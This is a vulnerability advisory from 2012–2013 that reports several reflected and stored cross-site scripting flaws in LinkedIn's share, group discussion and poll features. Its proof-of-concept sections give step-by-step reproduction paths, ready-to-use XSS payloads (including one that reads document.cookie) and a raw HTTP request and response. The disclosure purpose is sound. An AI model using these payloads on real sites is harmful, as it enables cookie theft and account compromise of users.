- Original release date: 16th December 2012
- Last revised:  26th September 2013
- Discovered by: Eduardo Garcia Melia
- Severity: 6.8/10 (CVSS Base Scored)
=============================================
 
I. VULNERABILITY
-------------------------
LinkedIn social network is affected by Multiple Reflected Cross-Site
Scripting vulnerabilities. 
 
II. BACKGROUND
-------------------------
LinkedIn is a social networking service and
website(http://www.linkedin.com/) operates the world's largest
professional network on the Internet with more

than 187 million members in over 200 countries and territories.
 
More Information: http://press.linkedin.com/about
 
III. DESCRIPTION
-------------------------
LinkedIn social network is affected by Multiple reflected Cross-Site
Scripting vulnerabilities. An attacker can inject HTML or script code in
the context of

victim's browser, so can perform XSS attacks, and steal cookies of a
targeted user. The affected resource is
http://www.linkedin.com/home?trk=guest_home.
 
IV. PROOF OF CONCEPT
-------------------------
=============================
First XSS  -> Corrected
=============================
You can go to LinkedIn Home -> Shared an Update -> Attach Link. After
attack link, you should edit this link, and put in the Title and
Description field, the

XSS injection, for example:

    + <h1>XSS TEST</h1>
    + <iframe src="javascript:alert(document.cookie);"></iframe>

Finally, you should pulse "Preview" button, and then show you the injection.

The vulnerability is in this code:

<div class="share-content" id="share-content" data-entity-id="932308905"
data-entity-url="http://www.URL.com" data-has-photo="yes">
<h4 class="share-view-title" id="share-view-title">XSSINJECTION</h4>
<p id="share-view-meta" class="meta">
URLTITLE
</p>
<p class="share-summary">
<span class="share-view-summary" id="share-view-summary">XSSINJECTION</span>
<a href="#" id="share-edit-link">Edit</a>
<script id="control-a9f0c4dd-2797-4750-9243-add575e00c08-2"
type="linkedin/control" class="li-control">
           
        /* extlib: _toggleclass */
       
   
           
LI.Controls.addControl('control-a9f0c4dd-2797-4750-9243-add575e00c08-2',
'ToggleClass', {
                  classname: 'is-view-mode',
                  on: '#share-preview',
                  stopEvent: true
                });
          </script>
</p>
</div>

=============================
Second XSS 
=============================
You can go to LinkedIn Groups -> Groups you may like,  and find some
open group, for example "Test Analyst / Test Lead / Test Manager
Networking". After, you

can start Discussion, and put on the fields "Test" and "test" value and
pulse "share" button. When the discussion is shared, show you "Your post
has been

submitted for review. You can view it here.", if you go to "here" link,
you can edit your post and put, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Example REQUEST:
    POST /groupItem HTTP/1.1
    Host: www.linkedin.com
    Origin: http://www.linkedin.com
    X-Requested-With: XMLHttpRequest
    Referer:
http://www.linkedin.com/groups?displayMySubmitted=&gid=4041084&goback=%2Egmp_4041084
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
    Cookie: XXX

SRC=#

onmouseover="alert('XSS')">&detail=test&

RESPONSE:
    HTTP/1.1 200 OK
    Server: Apache-Coyote/1.1
    Vary: Accept-Encoding
    Date: Mon, 04 Mar 2013 14:51:03 GMT
    X-FS-TXN-ID: 2adf39a79210
    X-FS-UUID: c84a30f8753fe812d0841ff4322b0000
    X-LI-UUID: yEow+HU/6BLQhB/0MisAAA==
    Age: 0
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 0
    Set-Cookie: XXX

    {"abbreviatedContent":"<IFRAME SRC=# onmouseover=\"alert('XSS')\">
...","editTimeLeftAsStr":"13 minutes

left","statusCode":"0","updated":"true","editTimeLeftInSec":"791","item":"PMOD_43011393","origDetail":"test","isDetailAbbreviated":"false","origContent":"<IF

RAME SRC=#
onmouseover=\"alert('XSS')\">","isContentAbbreviated":"true","fullContent":"<IFRAME
SRC=# onmouseover=\"alert

('XSS')\">","abbreviatedDetail":"test"}

and then show you the injection.

=============================
Third XSS 
=============================
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can start Discussion, and put on the fields, for example,
this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.

===============
Fourth XSS
===============   
You can go to LinkedIn Groups -> Create a Group,  and create new group.
After, you can create a Poll, and put on the fields, for example, this code:

    + <IFRAME SRC=# onmouseover="alert('XSS')">

Pulse "share" button and then show you the injection.
